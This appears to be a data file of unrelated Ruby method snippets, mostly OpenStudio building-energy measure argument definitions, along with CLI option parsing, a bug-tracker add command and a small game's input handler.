"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n #make an argument for entering baseboard efficiency\n baseboardeff = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"efficiency\",true)\n baseboardeff.setDisplayName(\"Efficiency\")\n baseboardeff.setUnits(\"Btu/Btu\")\n baseboardeff.setDescription(\"The efficiency of the electric baseboard.\")\n baseboardeff.setDefaultValue(1.0)\n args << baseboardeff\n\n #make a string argument for baseboard heating output capacity\n baseboardcap = OpenStudio::Measure::OSArgument::makeStringArgument(\"capacity\", true)\n baseboardcap.setDisplayName(\"Heating Capacity\")\n baseboardcap.setDescription(\"The output heating capacity of the electric baseboard. If using '#{Constants.SizingAuto}', the autosizing algorithm will use ACCA Manual S to set the capacity.\")\n baseboardcap.setUnits(\"kBtu/hr\")\n baseboardcap.setDefaultValue(Constants.SizingAuto)\n args << baseboardcap\n\t\n return args\n end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def check_inputs_g(args)\n raise TypeError, Ajaila::Messager.warning(\"Nothing to generate...\") if args == []\n raise TypeError, Ajaila::Messager.warning(\"Only miners, selectors, presenters supported\\n(ex. miner SomeMiner, selector SomeSelector,\\n presenter SomePresenter, table SomeTable)\") if KNOWN_INSTANCES.include?(args[0]) == false\n raise TypeError, Ajaila::Messager.warning(\"Your #{args[0]} needs a name!\") if args[1] == nil\n raise TypeError, Ajaila::Messager.warning(\"Wrong format of the #{args[0]} name (use only A-Z and a-z symbols)\") if args[1][/^[A-Z]+$/i] == nil\n return 0\n end",
"def arguments\n parser.arguments\n end",
"def valid_args(type)\n case type\n when 'search' then %i[q format addressdetails extratags namedetails viewbox bounded exclude_place_ids limit accept-language email]\n when 'reverse' then %i[format lat lon zoom addressdetails extratags namedetails accept-language email]\n else []\n end\n end",
"def madlib_inputs\n print \"Enter a noun: \" \n noun = gets.chomp\n print \"Enter a verb: \" \n verb = gets.chomp\n print \"Enter an adjective: \" \n adjective = gets.chomp\n print \"Enter an adverb: \" \n adverb = gets.chomp\n madlib_line(noun, verb, adjective, adverb)\nend",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n id = OpenStudio::Measure::OSArgument.makeStringArgument('feature_id', false)\n id.setDisplayName('Feature unique identifier')\n id.setDefaultValue('1')\n args << id\n\n name = OpenStudio::Measure::OSArgument.makeStringArgument('feature_name', false)\n name.setDisplayName('Feature scenario specific name')\n name.setDefaultValue('name')\n args << name\n\n feature_type = OpenStudio::Measure::OSArgument.makeStringArgument('feature_type', false)\n feature_type.setDisplayName('URBANopt Feature Type')\n feature_type.setDefaultValue('Building')\n args << feature_type\n\n feature_location = OpenStudio::Measure::OSArgument.makeStringArgument('feature_location', false)\n feature_location.setDisplayName('URBANopt Feature Location')\n feature_location.setDefaultValue('0')\n args << feature_location\n\n # make an argument for the frequency\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << 'Detailed'\n reporting_frequency_chs << 'Timestep'\n reporting_frequency_chs << 'Hourly'\n reporting_frequency_chs << 'Daily'\n # reporting_frequency_chs << 'Zone Timestep'\n reporting_frequency_chs << 'BillingPeriod' # match it to utility bill object\n ## Utility report here to report the start and end for each fueltype\n reporting_frequency_chs << 'Monthly'\n reporting_frequency_chs << 'Runperiod'\n\n reporting_frequency = OpenStudio::Measure::OSArgument.makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency')\n reporting_frequency.setDescription('The frequency at which to report timeseries output data.')\n reporting_frequency.setDefaultValue('Timestep')\n args << reporting_frequency\n\n return args\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n #make a start date argument\n start_date = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"start_date\",true)\n start_date.setDisplayName(\"Start date\")\n args << start_date\n \n #make an end date argument\n end_date = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"end_date\",true)\n end_date.setDisplayName(\"End date\")\n args << end_date\n \n return args\n end",
"def check_arguments\n convert_boolean_strings\n check_output\n check_log_level\n check_input_entry\n check_input_types\n end",
"def process_arguments\n # clean unsupport symbols, e.g. JieFang;\n # or error argument due to option typo, e.g. '-list' will put 'ist' into the array in this src.\n @support_newspapers = Array.new #TODO: move to elsewhere\n @support_newspapers << :XM\n @support_newspapers << :WHB\n @support_newspapers << :YZ\n # ATTENTION: command line input is an array of string, to be consistent, internally I use only symbol when using this symbol\n @options.newspapers = @options.newspapers.collect { | item | item.to_sym } & @support_newspapers\n \n if @options.newspapers.size == 0\n @support_newspapers.each do | sym |\n @options.newspapers << sym\n end\n end\n end",
"def args\n raw_args\n end",
"def argv; end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n #make an argument for your name\n code_choices = OpenStudio::StringVector.new \n code_choices << \"ASHRAE 90.1-2007\" \n code_choices << \"ASHRAE 90.1-2010\" \n energy_code = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('energy_code', code_choices, true)\n energy_code.setDisplayName(\"Code baseline\")\n energy_code.setDefaultValue(\"ASHRAE 90.1-2010\")\n args << energy_code\n \n #make an argument to add new space true/false\n leed_check = OpenStudio::Ruleset::OSArgument::makeBoolArgument(\"leed_check\",true)\n leed_check.setDisplayName(\"Perform typical LEED checks?\")\n leed_check.setDefaultValue(true)\n args << leed_check\n \n return args\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \t\"os_object_type\"\t],\n [ \"weather_file_name\", \"STRING\", true, false, \"Weather File Name\", nil, nil, nil, nil, \t nil\t\t\t\t\t],\n #Default set for server weather folder.\n [ \"weather_directory\", \"STRING\", true, false, \"Weather Directory\", \"../../weather\", nil, nil, nil,\t nil\t\t\t\t\t]\n \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def inflamed _args\n \"inflamed _args;\" \n end",
"def more_options\n puts Rainbow(\"Specify your additional options for your search: 'release date', 'search history', or go back\").yellow.underline\n input = gets.chomp.downcase\n \n if input == \"release date\"\n option_release_date\n \n elsif input == \"search history\"\n game_history\n\n elsif input == \"go back\"\n continue_or_exit\n \n else \n puts \"Input not recognized please try again\"\n more_options\n end\n end",
"def cmd(options={})\n arguments\n end",
"def user_input\n\tgets\nend",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # this measure will require arguments, but at this time, they are not known\n geometry_profile = OpenStudio::Ruleset::OSArgument::makeStringArgument('geometry_profile', true)\n geometry_profile.setDefaultValue(\"{}\")\n os_model = OpenStudio::Ruleset::OSArgument::makeStringArgument('os_model', true)\n os_model.setDefaultValue('multi-model mode')\n user_id = OpenStudio::Ruleset::OSArgument::makeStringArgument('user_id', true)\n user_id.setDefaultValue(\"00000000-0000-0000-0000-000000000000\")\n job_id = OpenStudio::Ruleset::OSArgument::makeStringArgument('job_id', true)\n #job_id.setDefaultValue(SecureRandom.uuid.to_s)\n ashrae_climate_zone = OpenStudio::Ruleset::OSArgument::makeStringArgument('ashrae_climate_zone', false)\n ashrae_climate_zone.setDefaultValue(\"-1\")\n building_type = OpenStudio::Ruleset::OSArgument::makeStringArgument('building_type', false)\n building_type.setDefaultValue(\"BadDefaultType\")\n\n args << geometry_profile\n args << os_model\n args << user_id\n args << job_id\n args << ashrae_climate_zone\n args << building_type\n\n return args\n end",
"def input\n @input ||= args.dig(:input)\n end",
"def parse_args\n require 'optimist'\n opts = Optimist.options do\n opt :source, \"Inventory Source UID\", :type => :string, :required => ENV[\"SOURCE_UID\"].nil?, :default => ENV[\"SOURCE_UID\"]\n opt :ingress_api, \"Hostname of the ingress-api route\", :type => :string, :default => ENV[\"INGRESS_API\"] || \"http://localhost:9292\"\n opt :config, \"Configuration file name\", :type => :string, :default => ENV[\"CONFIG\"] || \"default\"\n opt :data, \"Amount & custom values of generated items\", :type => :string, :default => ENV[\"DATA\"] || \"default\"\n end\n\n opts\nend",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # lat arg\n lat = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"lat\", true)\n lat.setDisplayName(\"Latitude\")\n lat.setDefaultValue(39.7392000000)\n args << lat\n\n # long arg\n lon = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"lon\", true)\n lon.setDisplayName(\"Longitude\")\n lon.setDefaultValue(-104.9903000000)\n args << lon\n\n return args\n end",
"def add args\n db = get_db\n if args.empty?\n print \"Enter a short summary: \"\n STDOUT.flush\n text = gets.chomp\n if text.empty?\n exit ERRCODE\n end\n else\n # if you add last arg as P1..P5, I'll update priority automatically\n if args.last =~ /P[1-5]/\n $default_priority = args.pop\n end\n text = args.join \" \"\n end\n # convert actual newline to C-a. slash n's are escapes so echo -e does not muck up.\n #atitle=$( echo \"$atitle\" | tr -cd '\\40-\\176' )\n text.tr! \"\\n\", '\u0001'\n title = text\n desc = nil\n if $prompt_desc\n # choice of vim or this XXX also how to store in case of error or abandon\n # and allow user to edit, so no retyping. This could be for mult fields\n message \"Enter a detailed description (. to exit): \"\n desc = Cmdapp.get_lines\n #message \"You entered #{desc}\"\n end\n type = $default_type || \"bug\"\n severity = $default_severity || \"normal\"\n status = $default_status || \"open\"\n priority = $default_priority || \"P3\"\n if $prompt_type\n type = Cmdapp._choice(\"Select type:\", %w[bug enhancement feature task] )\n #message \"You selected #{type}\"\n end\n if $prompt_priority\n #priority = Cmdapp._choice(\"Select priority:\", %w[normal critical moderate] )\n priority = ask_priority\n #message \"You selected #{severity}\"\n end\n if $prompt_severity\n severity = Cmdapp._choice(\"Select severity:\", %w[normal critical moderate] )\n #message \"You selected #{severity}\"\n end\n if $prompt_status\n status = Cmdapp._choice(\"Select status:\", %w[open started closed stopped canceled] )\n #message \"You selected #{status}\"\n end\n assigned_to = $default_assigned_to\n if $prompt_assigned_to\n message \"Assign to:\"\n #assigned_to = $stdin.gets.chomp\n assigned_to = Cmdapp._gets \"assigned_to\", \"assigned_to\", $default_assigned_to\n #message \"You selected #{assigned_to}\"\n end\n project = component = version = nil\n # project\n if $use_project\n project = Cmdapp.user_input('project', $prompt_project, nil, $valid_project, $default_project)\n end\n if $use_component\n component = Cmdapp.user_input('component', $prompt_component, nil, $valid_component, $default_component)\n end\n if $use_version\n version = Cmdapp.user_input('version', $prompt_version, nil, $valid_version, $default_version)\n end\n\n start_date = @now\n due_date = default_due_date\n comment_count = 0\n priority ||= \"P3\" \n description = desc\n fix = nil #\"Some long text\" \n #date_created = @now\n #date_modified = @now\n body = {}\n body[\"title\"]=title\n body[\"description\"]=description\n body[\"type\"]=type\n body[\"status\"]=status\n body[\"start_date\"]=start_date.to_s\n body[\"due_date\"]=due_date.to_s\n body[\"priority\"]=priority\n body[\"severity\"]=severity\n body[\"assigned_to\"]=assigned_to\n body[\"created_by\"] = $default_user\n # only insert if its wanted by user\n body[\"project\"]=project if $use_project\n body[\"component\"]=component if $use_component\n body[\"version\"]=version if $use_version\n\n rowid = db.table_insert_hash(\"bugs\", body)\n puts \"Issue #{rowid} created\"\n logid = db.sql_logs_insert rowid, \"create\", \"#{rowid} #{type}: #{title}\"\n body[\"id\"] = rowid\n mail_issue nil, body\n \n 0\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \"os_object_type\"\t ],\n [ \"alternativeModel\", \"STRING\", true, false, \"Alternative Model\", 'FullServiceRestaurant.osm', nil, nil, nil, \t nil\t\t\t\t\t],\n [ \"osm_directory\", \"STRING\", true, false, \"OSM Directory\", \"../../lib/btap/resources/models/smart_archetypes\", nil, nil, nil,\t nil\t\t\t\t\t] \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \"os_object_type\"\t ],\n [ \"alternativeModel\", \"STRING\", true, false, \"Alternative Model\", 'FullServiceRestaurant.osm', nil, nil, nil, \t nil\t\t\t\t\t],\n [ \"osm_directory\", \"STRING\", true, false, \"OSM Directory\", \"../../lib/btap/resources/models/smart_archetypes\", nil, nil, nil,\t nil\t\t\t\t\t] \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n # the name of the sql file\r\n csv_name = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_name\", true)\r\n csv_name.setDisplayName(\"CSV file name\")\r\n csv_name.setDescription(\"CSV file name.\")\r\n csv_name.setDefaultValue(\"mtr.csv\")\r\n args << csv_name\r\n \r\n csv_time_header = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_time_header\", true)\r\n csv_time_header.setDisplayName(\"CSV Time Header\")\r\n csv_time_header.setDescription(\"CSV Time Header Value.\")\r\n csv_time_header.setDefaultValue(\"Date/Time\")\r\n args << csv_time_header\r\n \r\n csv_var = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_var\", true)\r\n csv_var.setDisplayName(\"CSV variable name\")\r\n csv_var.setDescription(\"CSV variable name\")\r\n csv_var.setDefaultValue(\"Whole Building:Facility Total Electric Demand Power [W](TimeStep)\")\r\n args << csv_var\r\n \r\n csv_var_dn = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_var_dn\", true)\r\n csv_var_dn.setDisplayName(\"CSV variable display name\")\r\n csv_var_dn.setDescription(\"CSV variable display name\")\r\n csv_var_dn.setDefaultValue(\"\")\r\n args << csv_var_dn\r\n \r\n years = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"year\", true)\r\n years.setDisplayName(\"Year in csv data\")\r\n years.setDescription(\"Year in csv data => mm:dd:yy or mm:dd\")\r\n years.setDefaultValue(true)\r\n args << years\r\n \r\n seconds = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"seconds\", true)\r\n seconds.setDisplayName(\"Seconds in csv data\")\r\n seconds.setDescription(\"Seconds in csv data => hh:mm:ss or hh:mm\")\r\n seconds.setDefaultValue(true)\r\n args << seconds\r\n \r\n sql_key = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"sql_key\", true)\r\n sql_key.setDisplayName(\"SQL key\")\r\n sql_key.setDescription(\"SQL key\")\r\n sql_key.setDefaultValue(\"Whole Building\")\r\n args << sql_key \r\n\r\n sql_var = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"sql_var\", true)\r\n sql_var.setDisplayName(\"SQL var\")\r\n sql_var.setDescription(\"SQL var\")\r\n sql_var.setDefaultValue(\"Facility Total Electric Demand Power\")\r\n args << sql_var \r\n \r\n norm = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"norm\", true)\r\n norm.setDisplayName(\"norm of the difference of csv and sql\")\r\n norm.setDescription(\"norm of the difference of csv and sql\")\r\n norm.setDefaultValue(1)\r\n args << norm \r\n\r\n find_avail = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"find_avail\", true)\r\n find_avail.setDisplayName(\"find_avail\")\r\n find_avail.setDescription(\"find_avail\")\r\n find_avail.setDefaultValue(true)\r\n args << find_avail \r\n\r\n compute_diff = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"compute_diff\", true)\r\n compute_diff.setDisplayName(\"compute_diff\")\r\n compute_diff.setDescription(\"compute_diff\")\r\n compute_diff.setDefaultValue(true)\r\n args << compute_diff\r\n \r\n verbose_messages = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"verbose_messages\", true)\r\n verbose_messages.setDisplayName(\"verbose_messages\")\r\n verbose_messages.setDescription(\"verbose_messages\")\r\n verbose_messages.setDefaultValue(true)\r\n args << verbose_messages \r\n\r\n return args\r\n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\t\t\n\n #Make a string argument for occupants (auto or number)\n num_occ = OpenStudio::Measure::OSArgument::makeStringArgument(\"num_occ\", false)\n num_occ.setDisplayName(\"Number of Occupants\")\n num_occ.setDescription(\"Specify the number of occupants. For a multifamily building, specify one value for all units or a comma-separated set of values (in the correct order) for each unit. A value of '#{Constants.Auto}' will calculate the average number of occupants from the number of bedrooms. Used to specify the internal gains from people only.\")\n num_occ.setDefaultValue(Constants.Auto)\n args << num_occ\n\n #Make a string argument for 24 weekday schedule values\n weekday_sch = OpenStudio::Measure::OSArgument::makeStringArgument(\"weekday_sch\", true)\n weekday_sch.setDisplayName(\"Weekday schedule\")\n weekday_sch.setDescription(\"Specify the 24-hour weekday schedule.\")\n weekday_sch.setDefaultValue(\"1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 0.88310, 0.40861, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.29498, 0.55310, 0.89693, 0.89693, 0.89693, 1.00000, 1.00000, 1.00000\")\n args << weekday_sch\n \n #Make a string argument for 24 weekend schedule values\n weekend_sch = OpenStudio::Measure::OSArgument::makeStringArgument(\"weekend_sch\", true)\n weekend_sch.setDisplayName(\"Weekend schedule\")\n weekend_sch.setDescription(\"Specify the 24-hour weekend schedule.\")\n weekend_sch.setDefaultValue(\"1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 0.88310, 0.40861, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.29498, 0.55310, 0.89693, 0.89693, 0.89693, 1.00000, 1.00000, 1.00000\")\n args << weekend_sch\n\n #Make a string argument for 12 monthly schedule values\n monthly_sch = OpenStudio::Measure::OSArgument::makeStringArgument(\"monthly_sch\", true)\n monthly_sch.setDisplayName(\"Month schedule\")\n monthly_sch.setDescription(\"Specify the 12-month schedule.\")\n monthly_sch.setDefaultValue(\"1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0\")\n args << monthly_sch\n\n return args\n end",
"def validate_arguments()\n usage unless ARGV.count > 0\nend",
"def input args\n if args.state.inputlist.length > 5\n args.state.inputlist.pop\n end\n\n should_process_special_move = (args.inputs.keyboard.key_down.j) ||\n (args.inputs.keyboard.key_down.k) ||\n (args.inputs.keyboard.key_down.a) ||\n (args.inputs.keyboard.key_down.d) ||\n (args.inputs.controller_one.key_down.y) ||\n (args.inputs.controller_one.key_down.x) ||\n (args.inputs.controller_one.key_down.left) ||\n (args.inputs.controller_one.key_down.right)\n\n if (should_process_special_move)\n if (args.inputs.keyboard.key_down.j && args.inputs.keyboard.key_down.k) ||\n (args.inputs.controller_one.key_down.x && args.inputs.controller_one.key_down.y)\n args.state.inputlist.unshift(\"shield\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y) &&\n (args.state.inputlist[0] == \"forward-attack\") && ((args.state.tick_count - args.state.lastpush) <= 15)\n args.state.inputlist.unshift(\"dash-attack\")\n args.state.player.dx = 20\n elsif (args.inputs.keyboard.key_down.j && args.inputs.keyboard.a) ||\n (args.inputs.controller_one.key_down.x && args.inputs.controller_one.key_down.left)\n args.state.inputlist.unshift(\"back-attack\")\n elsif ( args.inputs.controller_one.key_down.x || args.inputs.keyboard.key_down.j)\n args.state.inputlist.unshift(\"forward-attack\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y) &&\n (args.state.player.y > 128)\n args.state.inputlist.unshift(\"dair\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y)\n args.state.inputlist.unshift(\"up-attack\")\n elsif (args.inputs.controller_one.key_down.left || args.inputs.keyboard.key_down.a) &&\n (args.state.inputlist[0] == \"<\") &&\n ((args.state.tick_count - args.state.lastpush) <= 10)\n args.state.inputlist.unshift(\"<<\")\n args.state.player.dx = -15\n elsif (args.inputs.controller_one.key_down.left || args.inputs.keyboard.key_down.a)\n args.state.inputlist.unshift(\"<\")\n args.state.timeleft = args.state.tick_count\n elsif (args.inputs.controller_one.key_down.right || args.inputs.keyboard.key_down.d)\n args.state.inputlist.unshift(\">\")\n end\n\n args.state.lastpush = args.state.tick_count\n end\n\n if args.inputs.keyboard.space || args.inputs.controller_one.r2 # if the user presses the space bar\n args.state.player.jumped_at ||= args.state.tick_count # jumped_at is set to current frame\n\n # if the time that has passed since the jump is less than the player's jump duration and\n # the player is not falling\n if args.state.player.jumped_at.elapsed_time < args.state.player_jump_power_duration && !args.state.player.falling\n args.state.player.dy = args.state.player_jump_power # change in y is set to power of player's jump\n end\n end\n\n # if the space bar is in the \"up\" state (or not being pressed down)\n if args.inputs.keyboard.key_up.space || args.inputs.controller_one.key_up.r2\n args.state.player.jumped_at = nil # jumped_at is empty\n args.state.player.falling = true # the player is falling\n end\n\n if args.inputs.left # if left key is pressed\n if args.state.player.dx < -5\n args.state.player.dx = args.state.player.dx\n else\n args.state.player.dx = -5\n end\n\n elsif args.inputs.right # if right key is pressed\n if args.state.player.dx > 5\n args.state.player.dx = args.state.player.dx\n else\n args.state.player.dx = 5\n end\n else\n args.state.player.dx *= args.state.player_speed_slowdown_rate # dx is scaled down\n end\n\n if ((args.state.player.dx).abs > 5) #&& ((args.state.tick_count - args.state.lastpush) <= 10)\n args.state.player.dx *= 0.95\n end\nend",
"def arguments(model = nil)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n chs = OpenStudio::StringVector.new\n chs << 'Last OSM'\n chs << 'Last IDF'\n file_source = OpenStudio::Ruleset::OSArgument.makeChoiceArgument('file_source', chs, true)\n file_source.setDisplayName('Model Source')\n file_source.setDefaultValue('Last OSM')\n args << file_source\n\n chs = OpenStudio::StringVector.new\n chs << 'Timestep'\n chs << 'Hourly'\n reporting_frequency = OpenStudio::Ruleset::OSArgument.makeChoiceArgument('reporting_frequency', chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency')\n reporting_frequency.setDefaultValue('Hourly')\n args << reporting_frequency\n\n variable1_name = OpenStudio::Ruleset::OSArgument.makeStringArgument('variable1_name', true)\n variable1_name.setDisplayName('Variable 1 Name')\n variable1_name.setDefaultValue('Surface Outside Face Temperature')\n args << variable1_name\n\n variable2_name = OpenStudio::Ruleset::OSArgument.makeStringArgument('variable2_name', true)\n variable2_name.setDisplayName('Variable 2 Name')\n variable2_name.setDefaultValue('Surface Inside Face Temperature')\n args << variable2_name\n\n variable3_name = OpenStudio::Ruleset::OSArgument.makeStringArgument('variable3_name', true)\n variable3_name.setDisplayName('Variable 3 Name')\n variable3_name.setDefaultValue('Zone Mean Radiant Temperature')\n args << variable3_name\n\n return args\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # Create a list of the names and handles of space types\n # used in the building.\n used_space_type_handles = OpenStudio::StringVector.new\n used_space_type_names = OpenStudio::StringVector.new\n model.getSpaceTypes.sort.each do |space_type|\n if space_type.spaces.size > 0 # only show space types used in the building\n used_space_type_handles << space_type.handle.to_s\n used_space_type_names << space_type.name.to_s\n end\n end\n\t\n # Make an argument for plenum space type\n ceiling_return_plenum_space_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"ceiling_return_plenum_space_type\", used_space_type_handles, used_space_type_names,false)\n ceiling_return_plenum_space_type.setDisplayName(\"This space type should be part of a ceiling return air plenum.\")\n args << ceiling_return_plenum_space_type\n\t\n # Make a bool argument to edit/not edit each space type\n\t\tmodel.getSpaceTypes.sort.each do |space_type|\n\t\t\tif space_type.spaces.size > 0 # only show space types used in the building\n\t\t\t\tspace_type_to_edit = OpenStudio::Ruleset::OSArgument::makeBoolArgument(space_type.name.get.to_s,false)\n\t\t\t\t# Make a bool argument for this space type\n\t\t\t\tspace_type_to_edit.setDisplayName(\"Add #{space_type.name.get} space type to GSHP system?\")\n\t\t\t\tspace_type_to_edit.setDefaultValue(false)\t\t\n\t\t\t\targs << space_type_to_edit\n\t\t\tend\n\t\tend\n\t \n\t\t# Heating COP of GSHP\n\t\tgshp_htg_cop = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"gshp_htg_cop\",false)\n\t\tgshp_htg_cop.setDisplayName(\"GSHP DX Heating Coil Heating COP\")\n\t\tgshp_htg_cop.setDefaultValue(4.0)\n\t\targs << gshp_htg_cop\n\t\t\n\t\t# Cooling EER of GSHP\n\t\tgshp_clg_eer = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"gshp_clg_eer\",false)\n\t\tgshp_clg_eer.setDisplayName(\"GSHP DX Cooling Coil Cooling EER\")\n\t\tgshp_clg_eer.setDefaultValue(14)\n\t\targs << gshp_clg_eer\n\t\t\n\t\t# GSHP Fan Type PSC or ECM\n\t\tfan_choices = OpenStudio::StringVector.new\n\t\tfan_choices << \"PSC\"\n\t\tfan_choices << \"ECM\"\n\t\tgshp_fan_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"gshp_fan_type\",fan_choices,true) # note ECM fan type may correspond to different set of heat pump performance curves\n\t\tgshp_fan_type.setDisplayName(\"GSHP Fan Type: PSC or ECM?\")\n\t\tgshp_fan_type.setDefaultValue(\"PSC\")\n args << gshp_fan_type\n\t\t\n\t\t# Condenser Loop Cooling Temperature\n\t\t# condLoopCoolingTemp = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"condLoopCoolingTemp\",false)\n\t\t# condLoopCoolingTemp.setDisplayName(\"Condenser Loop Cooling Temperature (F)\")\n\t\t# condLoopCoolingTemp.setDefaultValue(90)\n\t\t# args << condLoopCoolingTemp\n\t\t\n\t\t# Condenser Loop Heating Temperature\n\t\t# condLoopHeatingTemp = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"condLoopHeatingTemp\",false)\n\t\t# condLoopHeatingTemp.setDisplayName(\"Condenser Loop Heating Temperature (F)\")\n\t\t# condLoopHeatingTemp.setDefaultValue(60)\t\n\t\t# args << condLoopHeatingTemp\n\t\t\n\t\t# Vertical Bore HX\n\t\tbuilding_area = model.getBuilding.floorArea \n\t\tbuilding_cool_ton = building_area*10.7639/500\t\t# 500sf/ton estimated\n\t\tbore_hole_no = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"bore_hole_no\",false)\n\t\tbore_hole_no.setDisplayName(\"Number of Bore Holes\")\n\t\tbore_hole_no.setDefaultValue(building_cool_ton.to_i) \n\t\targs << bore_hole_no\n\n\t\t\n\t\tbore_hole_length = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"bore_hole_length\",false)\n\t\tbore_hole_length.setDisplayName(\"Bore Hole Length (ft)\")\n\t\tbore_hole_length.setDefaultValue(200)\n\t\targs << bore_hole_length\n\n\t\tbore_hole_radius = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"bore_hole_radius\",false)\n\t\tbore_hole_radius.setDisplayName(\"Bore Hole Radius (inch)\")\n\t\tbore_hole_radius.setDefaultValue(6.0)\n\t\targs << bore_hole_radius\n\t\t\n\t\tground_k_value = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"ground_k_value\",false)\n\t\tground_k_value.setDisplayName(\"Ground Conductivity (Btu/hr.F.R\")\n\t\tground_k_value.setDefaultValue(0.75)\n\t\targs << ground_k_value\n\t\t\n\t\tgrout_k_value = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"grout_k_value\",false)\n\t\tgrout_k_value.setDisplayName(\"Grout Conductivity (Btu/hr.F.R\")\n\t\tgrout_k_value.setDefaultValue(0.75)\n\t\targs << grout_k_value\n\t\t\n\t\tchs = OpenStudio::StringVector.new\n\t\tchs << \"Yes\"\n\t\tchs << \"No\"\n\t\tsupplemental_boiler = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"supplemental_boiler\",chs, true)\n\t\tsupplemental_boiler.setDisplayName(\"Supplemental Heating Boiler?\")\n\t\tsupplemental_boiler.setDefaultValue(\"No\")\n\t\targs << supplemental_boiler\n\t\t\n\t\t# Boiler Capacity\n\t\tboiler_cap = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"boiler_cap\",false)\n\t\tboiler_cap.setDisplayName(\"boiler normal capacity (MBtuh)\")\n\t\tboiler_cap.setDefaultValue(500.0)\n\t\targs << boiler_cap\n\t\t\t\t\n\t\t# Boiler Efficiency\n\t\tboiler_eff = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"boiler_eff\",false)\n\t\tboiler_eff.setDisplayName(\"Boiler Thermal Efficiency\")\n\t\tboiler_eff.setDefaultValue(0.9)\n\t\targs << boiler_eff\n\t\t\n\t\t# Boiler fuel Type\n\t\tfuel_choices = OpenStudio::StringVector.new\n\t\tfuel_choices << \"NaturalGas\"\n\t\tfuel_choices << \"PropaneGas\"\n\t\tfuel_choices << \"FuelOil#1\"\n\t\tfuel_choices << \"FuelOil#2\"\n\t\tfuel_choices << \"Electricity\"\n\t\tboiler_fuel_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"boiler_fuel_type\",fuel_choices,false) \n\t\tboiler_fuel_type.setDisplayName(\"Boiler Fuel Type\")\n\t\tboiler_fuel_type.setDefaultValue(\"NaturalGas\")\n\t\targs << boiler_fuel_type\n\t\t\n\t\t# boiler Hot water supply temperature\n\t\tboiler_hw_st = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"boiler_hw_st\",false)\n\t\tboiler_hw_st.setDisplayName(\"Boiler Design Heating Water Outlet 